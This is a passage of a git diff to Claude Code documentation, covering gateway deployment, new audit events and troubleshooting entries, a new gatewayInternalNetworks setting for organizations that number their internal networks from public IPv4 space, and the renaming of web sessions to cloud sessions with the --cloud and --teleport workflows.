[`forceLoginMethod`](/docs/en/settings-reference#forceloginmethod), are honored only from a managed source on the machine: `managed-settings.json`, the macOS plist or Windows HKLM registry, or a policy helper. A developer setting them in their own `~/.claude/settings.json` has no effect, and neither does setting them in the gateway payload. +Claude Code honors [`forceLoginGatewayUrl`](/docs/en/settings-reference#forcelogingatewayurl), [`gatewayInternalNetworks`](/docs/en/settings-reference#gatewayinternalnetworks), and the `"gateway"` value of [`forceLoginMethod`](/docs/en/settings-reference#forceloginmethod) only from a managed source on the machine: `managed-settings.json`, the macOS plist or Windows HKLM registry, or a policy helper. A developer setting them in their own `~/.claude/settings.json` has no effect, and neither does setting them in the gateway payload. ## Related diff --git a/content/en/docs/claude-code/claude-apps-gateway-deploy.md b/content/en/docs/claude-code/claude-apps-gateway-deploy.md index 8122d0e209..75aede4cf7 100644 --- a/content/en/docs/claude-code/claude-apps-gateway-deploy.md +++ b/content/en/docs/claude-code/claude-apps-gateway-deploy.md @@ -18,7 +18,7 @@ A production deployment follows four steps in order, and the sections below matc If a sign-in or boot fails along the way, go straight to [Troubleshooting](#troubleshooting), which is keyed on the error you see. - **Deploy on your private network.** Claude Code only connects to a gateway whose address is private. This is a security guard, because a trusted gateway can push settings that run commands on developer machines. Put the gateway you deploy behind an internal load balancer or VPN and give it a hostname that resolves to private IPs only. + **Deploy on your private network.** Claude Code only connects to a gateway whose address is private. This is a security guard, because a trusted gateway can push settings that run commands on developer machines. Put the gateway you deploy behind an internal load balancer or VPN and give it a hostname that resolves to private IPs only. If your internal network is numbered from public IPv4 space your organization owns, see [Allow a gateway on public address space you own](/docs/en/claude-apps-gateway#allow-a-gateway-on-public-address-space-you-own). ## Identity provider setup @@ -122,11 +122,15 @@ Once the gateway is serving traffic, day-to-day operation is reading its logs, p The gateway writes two streams to stderr, both JSON-friendly: -* **Audit events**: single-line JSON per security-relevant event. Pipe stderr to your log aggregator. The events emitted include `config.load`, `session.mint`, `session.refresh`, `device.authorize`, `device.verify`, `device.callback`, `auth.denied`, `access.denied`, `inference`, `managed.serve`, `desktop_bootstrap.serve`, `desktop_bootstrap.denied`, `spend.blocked`, `admin.denied`, `admin.limit.upsert`, and `admin.limit.delete`. Fields vary by event: +* **Audit events**: single-line JSON per security-relevant event. Pipe stderr to your log aggregator. + + The events emitted include `config.load`, `session.mint`, `session.refresh`, `device.authorize`, `device.verify`, `device.callback`, `auth.denied`, `access.denied`, `access.public_client`, `inference`, `managed.serve`, `desktop_bootstrap.serve`, `desktop_bootstrap.denied`, `spend.blocked`, `admin.denied`, `admin.limit.upsert`, and `admin.limit.delete`. Fields vary by event: + * Successful mint and refresh events carry `sub`, `email`, `client_ip`, and the result * `auth.denied` and `access.denied` carry the reason and client IP, plus the request path for `auth.denied`, since no user identity exists at those denials. Two `access.denied` reasons change what the event carries: * `xff_unparseable`: the event also carries the `X-Forwarded-For` entry that couldn't be read * `client_ip_unknown`: the event carries no client IP, because the connection had no peer address while an `access_control` list was set + * `access.public_client` carries the client IP of the first request per process to arrive from a public address while `access_control.allow_cidrs` is empty. The gateway serves the request as usual; the event signals that the gateway may be reachable from the public internet. See the [`access_control` reference](/docs/en/claude-apps-gateway-config#http-tuning) for what counts as public and for the recommended allow list. * `inference` records which upstream served the request and the response status * `desktop_bootstrap.denied` records a rejected Claude Desktop bootstrap fetch with the reason (`not_configured`, `policy_not_opted_in`, or `no_policy_matched`) and the user's identity * `admin.denied` records a rejected admin-API auth attempt with the client IP, method, path, and a reason, without the presented key material: `invalid_key` when an `x-api-key` was presented but matched no configured key, `bearer_rejected` when only an `Authorization` header was presented and it didn't verify as a gateway session in `admin.admin_groups`, or `no_credentials` when neither header was presented @@ -151,7 +155,7 @@ If your IdP goes down, existing sessions work until `ttl_hours`, and new logins ### JWT secret rotation -Rotate the signing secret in three steps so existing sessions stay valid: +Rotate the signing secret in stages so existing sessions stay valid: 1. Generate a new secret. Prepend it to the `session.jwt_secret` array. 2. Roll the deployment. New tokens sign with the new secret; old tokens still verify. @@ -248,8 +252,12 @@ The gateway's stderr includes the audit event stream, the audit log records deve | Claude Desktop reports that its bootstrap configuration couldn't be fetched | `/user/bootstrap` returned 404: the policy matching the user doesn't carry a `desktop` key, or no policy matched. The gateway's audit log records each rejection as `desktop_bootstrap.denied` with the reason. | Add a `desktop` block to the policy that matches the user, or to the `match: {}` base layer; an empty `desktop: {}` suffices. See [Claude Desktop overlay](/docs/en/claude-apps-gateway-config#claude-desktop-overlay). | | Startup shows `Gateway login is configured in managed settings, but this Claude Code build does not include Cloud gateway support.` | The installed Claude Code build predates gateway support | Have the developer update Claude Code to a release that includes Cloud gateway support | | Startup or `/login` reports `Claude Code may not be enabled for your organization` after a 403 on the managed settings load | The gateway, or something in front of it, answered the `/managed/settings` request with 403. The gateway's own settings route never answers 403. The status comes from the [`access_control`](/docs/en/claude-apps-gateway-config#http-tuning) IP checks or from a proxy or WAF in front of the gateway. The audit log records an IP-check denial as `access.denied` with the reason. The developer stays signed in. | Check the audit log for `access.denied` at the time of the failure and fix the `access_control` lists or the front end, then have the developer start `claude` again | -| CLI `/login`: `Gateway hosts must be on your organization's private network; resolves to the public (or unrecognized) address ` | The gateway hostname resolves to at least one public IP address. Claude Code checks each resolved address and requires every one to be private. A common cause is a dual-stack name where one family resolves to a public address, including AWS internal dual-stack load balancers, which return public-range AAAA addresses. | Have the gateway name resolve only to private addresses on developer machines. For a dual-stack name, drop the public-range record or serve a separate internal-only DNS name. See the [private-network prerequisite](/docs/en/claude-apps-gateway#prerequisites). | +| CLI `/login`: `Gateway hosts must be on your organization's private network; resolves to the public (or unrecognized) address ` | The gateway hostname resolves to at least one public IP address. Claude Code checks each resolved address and requires every one to be private. A common cause is a dual-stack name where one family resolves to a public address, including AWS internal dual-stack load balancers, which return public-range AAAA addresses. | Have the gateway name resolve only to private addresses on developer machines. For a dual-stack name, drop the public-range record or serve a separate internal-only DNS name. See the [private-network prerequisite](/docs/en/claude-apps-gateway#prerequisites). If the address is public space your organization owns and uses internally, [declare that block](/docs/en/claude-apps-gateway#allow-a-gateway-on-public-address-space-you-own) instead. | | CLI `/login`: `Gateway login would go through proxy , which is not on a private network` | An `HTTPS_PROXY` or `HTTP_PROXY` applies to the gateway host and the proxy's hostname resolves to a public address. A proxy whose host resolves only to private addresses is allowed and doesn't trigger this error | Add the gateway host to `NO_PROXY` on the developer's machine so the connection is direct, or use a proxy whose hostname resolves to private addresses. The message names the exact `NO_PROXY` entry to add | +| CLI `/login`: `Claude Code only signs in to from inside its declared network (managed settings), and this machine is connecting from , outside it` | The gateway is on a block declared in [`gatewayInternalNetworks`](/docs/en/claude-apps-gateway#allow-a-gateway-on-public-address-space-you-own), and the developer's machine reached it from an address outside that block: a VPN address pool, a container or WSL2 NAT segment, or a network that isn't yours | Have the developer run `/login` from the host OS on your network. If the address shown is also your organization's own public space, replace the gateway's entry with a block that covers both, up to `/8`; a second, overlapping entry is refused | +| CLI `/login`: `Every address for gateway host must be inside its declared network , and it also resolves to ` | The gateway's name resolves to an address outside the block declared in [`gatewayInternalNetworks`](/docs/en/claude-apps-gateway#allow-a-gateway-on-public-address-space-you-own): a second site, or an IPv6 record on a dual-stack name. Under a declared block every record must be inside that one IPv4 block, private and IPv6 addresses included | Publish only records inside the block for the gateway name on developer machines, or serve a separate internal-only name | +| CLI `/login`: ` is on the declared network , which Claude Code checks over a direct connection, not through an HTTP proxy` | An `HTTPS_PROXY` or `HTTP_PROXY` applies to a gateway on a declared block | On the developer's machine, add the `NO_PROXY` entry the message names | +| CLI `/login`: a message starting `gatewayInternalNetworks in managed settings` | The value breaks one of the [validation rules](/docs/en/claude-apps-gateway#allow-a-gateway-on-public-address-space-you-own), and the message names which. Until you fix it, Claude Code refuses every new gateway `/login` on the machine, gateways on private addresses included; existing sign-ins keep working | In the managed settings source you deploy, correct the entry the message names, then rerun `/login` | | CLI `/login`: `Could not resolve the configured HTTP proxy` | The hostname in `HTTPS_PROXY` or `HTTP_PROXY` doesn't resolve from the developer's machine, typically because it isn't connected to the corporate network | Have the developer connect to your network or VPN and retry, or fix the proxy URL | | CLI `/login`: `Could not resolve gateway host ` | The machine can't resolve the gateway's internal DNS name, typically because it isn't on the corporate network | Have the developer connect to your network or VPN, then retry `/login` | | Boot exits with a config validation error naming `store.postgres_url` | No Postgres configured; the gateway requires Postgres | Set `store.postgres_url`. For local development, use a throwaway container: `docker run --rm -p 5432:5432 -e POSTGRES_HOST_AUTH_METHOD=trust postgres`. | diff --git a/content/en/docs/claude-code/claude-apps-gateway.md b/content/en/docs/claude-code/claude-apps-gateway.md index 9a16a90d1e..74b3a9cfb5 100644 --- a/content/en/docs/claude-code/claude-apps-gateway.md +++ b/content/en/docs/claude-code/claude-apps-gateway.md @@ -56,22 +56,22 @@ Breaking changes to the protocol are announced in advance, but indefinite backwa This quickstart walks the minimal path: register an OAuth client in your IdP, write a `gateway.yaml`, run the gateway alongside Postgres with Docker Compose, and verify sign-in end to end. It uses an Amazon Bedrock upstream; Claude Platform on AWS, Google Cloud's Agent Platform, Microsoft Foundry, and the Anthropic API are equally supported by swapping the `upstreams` block as shown in the [configuration reference](/docs/en/claude-apps-gateway-config#upstreams). At the end you have a gateway a developer can `/login` to. - **Deploy on your private network.** Claude Code only connects to a gateway whose address is private. This is a security guard, because a trusted gateway can push settings that run commands on developer machines. Put the gateway behind an internal load balancer or VPN and give it a hostname that resolves to private IPs only. + **Deploy on your private network.** Claude Code only connects to a gateway whose address is private. This is a security guard, because a trusted gateway can push settings that run commands on developer machines. Put the gateway behind an internal load balancer or VPN and give it a hostname that resolves to private IPs only. If your internal network is numbered from public IPv4 space your organization owns, see [Allow a gateway on public address space you own](#allow-a-gateway-on-public-address-space-you-own). ### Prerequisites Have these in place before you start: -| You need | Details | -| --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Claude Code v2.1.195 or later | The `claude gateway` subcommand and the gateway sign-in flow ship in v2.1.195. Earlier public builds don't include them. Both the machine running the gateway server and each developer's machine must be on v2.1.195 or later; run `claude update` to get the latest release. The [Claude Platform on AWS upstream](/docs/en/claude-apps-gateway-config#claude-platform-on-aws) requires Claude Code v2.1.198 or later on the gateway server. | -| OpenID Connect (OIDC) identity provider | Okta, Microsoft Entra ID, Google Workspace, Keycloak, or Dex, or any other OIDC-compliant IdP such as PingFederate. The gateway runs standard OIDC discovery and the authorization-code flow against it. SAML and LDAP aren't supported. | -| PostgreSQL 14 or later | Backs the device sign-in flow, where the browser callback writes and the polling CLI reads, plus rate-limit counters. Any managed Postgres works, including the smallest tier. Without spend limits configured, the gateway stores a few KB of short-lived auth state; with [spend limits](/docs/en/claude-apps-gateway-spend-limits), it also holds durable spend, audit, and identity tables that should be backed up. TLS via `?sslmode=require` is recommended. | -| Model upstream | Amazon Bedrock credentials, Claude Platform on AWS credentials, Google Cloud credentials, a Microsoft Foundry resource, or an Anthropic API key. Multiple upstreams are supported with failover. | -| HTTPS | The gateway must be reachable over `https://` from developer laptops and from any browser used for sign-in; the gateway serves the device-verification page on the same listener. Either provide a TLS cert via `listen.tls` or run behind a TLS-terminating ingress, and set `listen.public_url` to the external origin in both cases. A plain `http://` origin is accepted only when the gateway host is loopback: `localhost`, `127.0.0.1`, or `::1`. | -| Private-network address | At `/login`, Claude Code requires the gateway's hostname or IP address to resolve only to private addresses: RFC 1918, link-local, CGNAT `100.64.0.0/10`, IPv6 ULA `fc00::/7`, or loopback. For a gateway you host, any public address is rejected; see the [threat model](/docs/en/claude-apps-gateway-deploy#threat-model-summary) in the deployment guide. The check runs on each resolved IP, so if any address the name resolves to is public, `/login` rejects the URL. If developer machines route HTTPS through a corporate proxy, sign-in also requires the proxy host to resolve to private addresses; if it doesn't, add the gateway host to `NO_PROXY` so the CLI connects directly. | -| Linux runtime | The gateway server runs only on the native Linux binary. macOS works for local development. Windows isn't supported as a server platform. | +| You need | Details | +| --------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Claude Code v2.1.195 or later | The `claude gateway` subcommand and the gateway sign-in flow ship in v2.1.195. Earlier public builds don't include them. Both the machine running the gateway server and each developer's machine must be on v2.1.195 or later; run `claude update` to get the latest release. The [Claude Platform on AWS upstream](/docs/en/claude-apps-gateway-config#claude-platform-on-aws) requires Claude Code v2.1.198 or later on the gateway server. | +| OpenID Connect (OIDC) identity provider | Okta, Microsoft Entra ID, Google Workspace, Keycloak, or Dex, or any other OIDC-compliant IdP such as PingFederate. The gateway runs standard OIDC discovery and the authorization-code flow against it. SAML and LDAP aren't supported. | +| PostgreSQL 14 or later | Backs the device sign-in flow, where the browser callback writes and the polling CLI reads, plus rate-limit counters. Any managed Postgres works, including the smallest tier. Without spend limits configured, the gateway stores a few KB of short-lived auth state; with [spend limits](/docs/en/claude-apps-gateway-spend-limits), it also holds durable spend, audit, and identity tables that should be backed up. TLS via `?sslmode=require` is recommended. | +| Model upstream | Amazon Bedrock credentials, Claude Platform on AWS credentials, Google Cloud credentials, a Microsoft Foundry resource, or an Anthropic API key. Multiple upstreams are supported with failover. | +| HTTPS | The gateway must be reachable over `https://` from developer laptops and from any browser used for sign-in; the gateway serves the device-verification page on the same listener. Either provide a TLS cert via `listen.tls` or run behind a TLS-terminating ingress, and set `listen.public_url` to the external origin in both cases. A plain `http://` origin is accepted only when the gateway host is loopback: `localhost`, `127.0.0.1`, or `::1`. | +| Private-network address | At `/login`, Claude Code requires the gateway's hostname or IP address to resolve only to private addresses: RFC 1918, link-local, CGNAT `100.64.0.0/10`, IPv6 ULA `fc00::/7`, or loopback. For a gateway you host, any public address outside a block you declare is rejected; see the [threat model](/docs/en/claude-apps-gateway-deploy#threat-model-summary) in the deployment guide. If developer machines route HTTPS through a corporate proxy, sign-in also requires the proxy host to resolve to private addresses; if it doesn't, add the gateway host to `NO_PROXY` so the CLI connects directly. If your internal network is numbered from public IPv4 space your organization owns, [declare those blocks](#allow-a-gateway-on-public-address-space-you-own) so `/login` accepts a gateway there. | +| Linux runtime | The gateway server runs only on the native Linux binary. macOS works for local development. Windows isn't supported as a server platform. | ### Steps @@ -177,6 +177,8 @@ Have these in place before you start: [gateway] 2026-06-10T17:03:21.512Z info claude gateway listening on http://0.0.0.0:8080 ``` + The gateway also logs a warning that `access_control.allow_cidrs` is empty. That's expected here, because nothing limits which client addresses the gateway serves until you set an allow list. The [`access_control` reference](/docs/en/claude-apps-gateway-config#http-tuning) has the recommended ranges. + If boot exits before the `claude gateway listening on` line, the last line of stderr names the problem: * an unreachable Postgres @@ -190,7 +192,7 @@ Have these in place before you start: - Three checks confirm the gateway can authenticate a real user before you hand it to a developer. + Three checks confirm the gateway can authenticate a real user before you share it with a developer. The examples use the gateway's public URL; for the local Compose setup without an ingress, substitute `http://localhost:8080` in the first two checks. The third check opens `verification_uri_complete`, which is built from `public_url`, so for local Compose set `public_url: http://localhost:8080` in `gateway.yaml`, and add `http://localhost:8080/oauth/callback` as a second redirect URI on the OAuth client from step 1, because the gateway builds the IdP `redirect_uri` from `public_url`. The verification link then opens in your local browser. @@ -279,6 +281,49 @@ The developer presses Enter to connect. The [first-connect TLS fingerprint promp A developer can't set this up manually. The login picker has no gateway option, and `forceLoginGatewayUrl` is ignored in a developer's own settings files. `forceLoginMethod` alone, without a URL, leaves the developer at a "Contact your IT administrator" message. The login keys belong in the file you push to machines, not in the gateway's `managed.policies[].cli` block, which only reaches clients that are already connected. +### Allow a gateway on public address space you own + +Some organizations number their internal network from a public IPv4 block they own, such as a carrier's own address space or a legacy `/8`, so their gateway can't have a private address. List those blocks in the `gatewayInternalNetworks` managed setting. `/login` then accepts a gateway inside a listed block when the developer's machine connects to it from an address inside the same block. This requires Claude Code v2.1.268 or later on the developer machine; earlier versions ignore the key and apply the private-address rule. + + + `gatewayInternalNetworks` is for internal networks that happen to be numbered from public address space. It doesn't make it safe to expose a gateway to the internet: a trusted gateway can push settings that run commands on developer machines. + + Keep the gateway unreachable from outside your network with your firewall or load balancer rules. Set the gateway's [`access_control.allow_cidrs`](/docs/en/claude-apps-gateway-config#http-tuning) to the same blocks you declare here, so the gateway itself refuses clients from anywhere else. Behind a load balancer or ingress, set `listen.trusted_proxies` to that front end as well, because the gateway otherwise matches `allow_cidrs` against the front end's own address rather than the developer's. + + +Add the key to the same managed settings source as the login keys: the managed settings file, MDM profile, or registry policy. Claude Code ignores it in user, project, and server-managed settings. + +This example declares one block. Replace `203.0.113.0/24` with your own block. It is a documentation range, and Claude Code refuses those. + +```json theme={null} +{ + "gatewayInternalNetworks": ["203.0.113.0/24"] +} +``` + +Claude Code validates the list at `/login` before it contacts any gateway: + +* Each entry is an IPv4 block written as its first address and a prefix from `/8` to `/32`. +* The list holds at most four blocks, and no two overlap. +* No block overlaps private address space: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `127.0.0.0/8`, `169.254.0.0/16`, and `100.64.0.0/10`. `/login` already accepts a gateway there without this key. +* No block overlaps space that is never an organization's network: `198.18.0.0/15` and `192.0.0.0/24`, which VPN and NAT64 clients hold as local addresses; the documentation ranges `192.0.2.0/24`, `198.51.100.0/24`, and `203.0.113.0/24`; and the reserved ranges `0.0.0.0/8`, `192.88.99.0/24`, and multicast `224.0.0.0/4`. You can declare blocks inside `240.0.0.0/4`, which some large networks use as internal unicast space. + +Blocks from `managed-settings.json` and its `managed-settings.d/` drop-in files combine into one list, and these limits apply to the combined list. To narrow a block, replace its entry rather than add a second, overlapping one in a drop-in; `/login` refuses the overlap. + +If an entry breaks a rule, or the value isn't a list of strings, Claude Code refuses every new gateway sign-in on that machine and names the problem in the message. Sign-in to a gateway on a private address fails too, and existing sign-ins keep working. Try the value on one machine before you deploy it. Claude Code also lists a wrongly typed value among the [invalid managed settings it reports](/docs/en/managed-settings#keys-that-fail-closed). + +With a valid list, `/login` applies three checks to a gateway whose address is inside a listed block: + +* Every address the gateway's hostname resolves to is inside that one block. Claude Code refuses a name that also has records outside it, private and IPv6 addresses included. +* The developer's machine connects from inside the same block. Claude Code refuses a machine behind NAT, inside a container or WSL2, or on a VPN whose address pool sits outside the block, and names the address the machine connected from. +* The connection is direct. If `HTTPS_PROXY` applies to the gateway host, `/login` refuses and names the `NO_PROXY` entry to add. + +When all three pass, the [trust prompt](#connect-developers) adds a line naming the machine's address, the gateway's address, and the declared block that contains both. + +The key changes nothing for other gateways: sign-in to one on a private address works as before, and sign-in to one on a public address outside every listed block is refused as before. + +A declared block narrows who can sign in but doesn't prove where a machine is, so declare only address space your organization controls. A block shared with other tenants, such as a cloud provider's public range, lets anyone in it pass the same check. + ### Deliver policy to Claude Desktop sessions Claude Desktop runs its Cowork and Code tabs, plus the Chat tab when you enable it, on embedded Claude Code sessions and sends their model requests through the gateway. It passes policy to each of those sessions, built from the configuration the gateway serves it at `/user/bootstrap`: the model allowlist, disabled tools, and egress allowlist derived from the matched policy's `cli` block, plus the [`desktop` overlay](/docs/en/claude-apps-gateway-config#claude-desktop-overlay). diff --git a/content/en/docs/claude-code/claude-code-on-the-web.md b/content/en/docs/claude-code/claude-code-on-the-web.md index 12b32d916c..61ec1139ed 100644 --- a/content/en/docs/claude-code/claude-code-on-the-web.md +++ b/content/en/docs/claude-code/claude-code-on-the-web.md @@ -2,25 +2,35 @@ > Fetch the complete documentation index at: https://code.claude.com/docs/llms.txt > Use this file to discover all available pages before exploring further. -# Use Claude Code on the web +# Use Claude Code in the cloud -> Move sessions between web and terminal with `--cloud` and `--teleport`, manage and share sessions, and auto-fix pull requests from the cloud. +> Run Claude Code sessions in the cloud from your browser, phone, desktop app, or terminal, move them with --cloud and --teleport, and auto-fix pull requests. - Claude Code on the web is in research preview for Pro, Max, and Team users, and for Enterprise users with premium seats or Chat + Claude Code seats. + Cloud sessions are in research preview for Pro, Max, and Team users, and for Enterprise users with premium seats or Chat + Claude Code seats. -Claude Code on the web runs tasks on Anthropic-managed cloud infrastructure at [claude.ai/code](https://claude.ai/code), or on your organization's [self-hosted environment](/docs/en/self-hosted-environments) when routed there. Sessions persist even if you close your browser, and you can monitor them from the Claude mobile app. +A cloud session is a Claude Code session that runs on cloud infrastructure instead of on your machine. By default it runs on infrastructure Anthropic manages, or on your organization's [self-hosted environment](/docs/en/self-hosted-environments) when routed there. The session keeps running after you close your laptop, and you can check on it or steer it from any device. + +You can start a cloud session from any of these surfaces: + +* **Browser**: [claude.ai/code](https://claude.ai/code), also called Claude Code on the web +* **Mobile**: the **Code** tab in the [Claude app](/docs/en/mobile) +* **Desktop app**: select **Cloud** instead of **Local** when you [start a session](/docs/en/desktop#run-long-running-tasks-in-the-cloud) +* **Terminal**: [`claude --cloud`](#from-terminal-to-cloud) +* **Routines**: [scheduled and triggered runs](/docs/en/routines) each run as a cloud session + +A session in your terminal, your IDE, or the Desktop app with **Local** selected runs on your own machine instead. To steer one of those local sessions from your phone or browser, use [Remote Control](/docs/en/remote-control). - New to Claude Code on the web? Start with [Get started](/docs/en/web-quickstart) to connect your GitHub account and submit your first task. + New to cloud sessions? Start with [Get started](/docs/en/web-quickstart) to connect your GitHub account and submit your first task. -This page covers the web product itself: +This page covers: * [Cloud environments](#cloud-environments): where sessions run, and where to configure that * [GitHub authentication options](#github-authentication-options): two ways to connect GitHub -* [Move tasks between web and terminal](#move-tasks-between-web-and-terminal) with `--cloud` and `--teleport` +* [Move tasks between terminal and cloud](#move-tasks-between-terminal-and-cloud) with `--cloud` and `--teleport` * [Work with sessions](#work-with-sessions): permission modes, reviewing, sharing, archiving, deleting * [Auto-fix pull requests](#auto-fix-pull-requests): respond automatically to CI failures and review comments * [Security and isolation](#security-and-isolation): how sessions are isolated @@ -30,7 +40,7 @@ This page covers the web product itself: Every cloud session runs in a [cloud environment](/docs/en/cloud-environments), the saved configuration that controls network access, environment variables, and setup scripts. If you don't have an environment yet, onboarding sets up a **Default** environment with [**Trusted** network access](/docs/en/cloud-environments#access-levels), either by creating it for you or by asking you to create it. See [The Default environment](/docs/en/cloud-environments#the-default-environment) for which of those happens on your plan and how sessions choose an environment when you have more than one. -The same environments apply wherever you start a cloud session: the web, the terminal, [Claude Tag](https://claude.com/docs/claude-tag/overview), [routines](/docs/en/routines), and the mobile and Desktop apps. Claude Tag channel sessions use organization-level environments only, either [shared environments](/docs/en/cloud-environments#organization-shared-environments) or [self-hosted environments](/docs/en/self-hosted-environments). +The same environments apply wherever you start a cloud session: the browser, the terminal, [Claude Tag](https://claude.com/docs/claude-tag/overview), [routines](/docs/en/routines), and the mobile and Desktop apps. Claude Tag channel sessions use organization-level environments only, either [shared environments](/docs/en/cloud-environments#organization-shared-environments) or [self-hosted environments](/docs/en/self-hosted-environments). See [Configure cloud environments](/docs/en/cloud-environments) to change what an environment allows, set variables, or add a setup script, and [Installed tools](/docs/en/cloud-environments#installed-tools) for what sessions include without any configuration. @@ -53,15 +63,15 @@ Quick web setup is an organization setting that lets members connect GitHub with Organizations with [Zero Data Retention](/docs/en/zero-data-retention) enabled can't use `/web-setup` or other cloud session features. -## Move tasks between web and terminal +## Move tasks between terminal and cloud These workflows require the [Claude Code CLI](/docs/en/quickstart) signed in to the same claude.ai account. You can start new cloud sessions from your terminal, or pull cloud sessions into your terminal to continue locally. Cloud sessions persist even if you close your laptop, and you can monitor them from anywhere including the Claude mobile app. - From the CLI, session handoff is one-way: you can pull cloud sessions into your terminal with `--teleport`, but you can't push an existing terminal session to the web. The `--cloud` flag with a task description creates a new cloud session for your current repository; with `-p` and a session ID or claude.ai/code URL it instead [queues a message into that existing session](/docs/en/claude-code-on-the-web#send-follow-ups-from-the-cli). The [Desktop app](/docs/en/desktop#continue-in-another-surface) provides a Continue in menu that can send a local session to the web. + From the CLI, session handoff is one-way: you can pull cloud sessions into your terminal with `--teleport`, but you can't push an existing terminal session to the cloud. The `--cloud` flag with a task description creates a new cloud session for your current repository; with `-p` and a session ID or claude.ai/code URL it instead [queues a message into that existing session](/docs/en/claude-code-on-the-web#send-follow-ups-from-the-cli). The [Desktop app](/docs/en/desktop#continue-in-another-surface) provides a **Continue in** menu that can send a local session to the cloud. -### From terminal to web +### From terminal to cloud Start a cloud session from the command line with the `--cloud` flag: @@ -76,7 +86,7 @@ This creates a new cloud session on claude.ai. The cloud VM clones your current While the cloud container starts, the CLI shows a live checklist of setup steps, such as cloning the repository and running your [setup script](/docs/en/cloud-environments#setup-scripts). It queues messages you type during provisioning and sends them once the session is ready. - `--cloud` creates cloud sessions. `--remote-control` is unrelated: it exposes a local CLI session for monitoring from the web. See [Remote Control](/docs/en/remote-control). + `--cloud` creates cloud sessions. `--remote-control` is unrelated: it lets you monitor and steer a local CLI session from claude.ai or the Claude app. See [Remote Control](/docs/en/remote-control). Open the session on claude.ai or the Claude mobile app to check progress or interact directly. From there you can steer Claude, provide feedback, or answer questions as in any other conversation. @@ -85,7 +95,7 @@ If Claude asks a question and the session sits idle, you can still answer when y #### Tips for cloud tasks -**Plan locally, execute remotely**: for complex tasks, start Claude in plan mode to collaborate on the approach, then send work to the cloud: +**Plan locally, execute in the cloud**: for complex tasks, start Claude in plan mode to collaborate on the approach, then send work to the cloud: ```bash theme={null} claude --permission-mode plan @@ -105,7 +115,7 @@ claude --cloud "Update the API documentation" claude --cloud "Refactor the logger to use structured output" ``` -When a session completes, you can create a PR from the web interface or [teleport](#from-web-to-terminal) the session to your terminal to continue working. +When a session completes, you can create a PR from claude.ai/code or [teleport](#from-cloud-to-terminal) the session to your terminal to continue working. #### Send local repositories without GitHub @@ -167,14 +177,14 @@ The CLI prefixes errors with `Error: `. A failed delivery is wrapped as `failed | `Session not found: ` | The ID or URL doesn't match a session you can access. Check it against the session's claude.ai/code URL. | | `cloud session is archived and cannot accept new messages` | The session has been archived. Start a new session instead. | -### From web to terminal +### From cloud to terminal Pull a cloud session into your terminal using any of these: * **Using `--teleport`**: from the command line, run `claude --teleport` for an interactive session picker, or `claude --teleport ` to resume a specific session directly. If you have uncommitted changes, you'll be prompted to stash them first. * **Using `/teleport`**: inside an existing CLI session, run `/teleport` or `/tp` to open the same session picker without restarting Claude Code. * **From `/tasks`**: run `/tasks` to see your background sessions, then press `t` to teleport into one. -* **From the web interface**: select **Open in > Terminal** from the session menu to copy a command you can paste into your terminal. +* **From claude.ai/code**: select **Open in > Terminal** from the session menu to copy a command you can paste into your terminal. * **From inside the cloud session**: type `/teleport` and Claude Code replies with the exact `claude --teleport ` command for that session, ready to run from a checkout of the repository. Requires Claude Code v2.1.223 or later in the session's environment. When you teleport a session, Claude verifies you're in the correct repository, fetches and checks out the branch from the cloud session, and loads the full conversation history into your terminal. The terminal gets its own copy of the session: new work there stays local and doesn't appear in the cloud session on claude.ai or the Claude mobile app. To keep steering from your phone after teleporting, start [`/remote-control`](/docs/en/remote-control) in the local session. @@ -206,7 +216,7 @@ Cloud sessions support [built-in commands](/docs/en/commands) that produce text * **`/model`, `/effort`, `/color`, and `/rename`**: pass the value as an argument, for example `/model sonnet`, instead of opening the terminal picker or slider. The argument forms require Claude Code v2.1.205 or later in the session's environment and follow each command's [availability notes](/docs/en/commands#all-commands): `/effort` reports `Not applied` while a model's [launch-default effort hold](/docs/en/model-config#adjust-effort-level) is in force. * **`/fast`**: toggles [fast mode](/docs/en/fast-mode#use-fast-mode-in-cloud-sessions) for the session when fast mode is [available on your account](/docs/en/fast-mode#requirements). Requires Claude Code v2.1.271 or later in the session's environment. -* **`/config`**: on the web, opens the Claude Code section of your settings instead of setting a value, and text after the command, including `key=value`, is ignored. To change settings for a cloud session, use [environment variables](/docs/en/cloud-environments#set-environment-variables) or commit [settings files](/docs/en/settings) to the repository. +* **`/config`**: in your browser at claude.ai/code, opens the Claude Code section of your settings instead of setting a value, and text after the command, including `key=value`, is ignored. To change settings for a cloud session, use [environment variables](/docs/en/cloud-environments#set-environment-variables) or commit [settings files](/docs/en/settings) to the repository. For context management specifically: @@ -216,7 +226,7 @@ For context management specifically: | `/context` | Yes | Shows what's currently in the context window | | `/clear` | No | Start a new session from the sidebar instead | -Auto-compaction runs automatically when the context window approaches capacity. Claude Code on the web sets [`CLAUDE_AUTOCOMPACT_PCT_OVERRIDE`](/docs/en/env-vars) in cloud sessions itself, so compaction triggers partway through the [auto-compact window](/docs/en/model-config#set-the-auto-compact-window) rather than when the window fills. That value overrides one you add in your [environment variables](/docs/en/cloud-environments#set-environment-variables), so adding the variable there doesn't change when compaction triggers. +Auto-compaction runs automatically when the context window approaches capacity. Cloud sessions set [`CLAUDE_AUTOCOMPACT_PCT_OVERRIDE`](/docs/en/env-vars) themselves, so compaction triggers partway through the [auto-compact window](/docs/en/model-config#set-the-auto-compact-window) rather than when the window fills. That value overrides one you add in your [environment variables](/docs/en/cloud-environments#set-environment-variables), so adding the variable there doesn't change when compaction triggers. To change the auto-compact window instead, set [`CLAUDE_CODE_AUTO_COMPACT_WINDOW`](/docs/en/env-vars) in your environment variables, or run [`/autocompact`](/docs/en/commands#all-commands) with a token count in a session where the variable isn't set. @@ -279,12 +289,12 @@ Claude can watch a pull request and automatically respond to CI failures and rev There are a few ways to turn on auto-fix depending on where the PR came from and what device you're using: -* **PRs created in Claude Code on the web**: open the CI status bar and select **Auto-fix** -* **From your terminal**: run [`/autofix-pr`](/docs/en/commands) while on the PR's branch. Claude Code detects the open PR with `gh`, spawns a web session, and turns on auto-fix in one step +* **PRs created in a cloud session**: open the session at claude.ai/code, open the 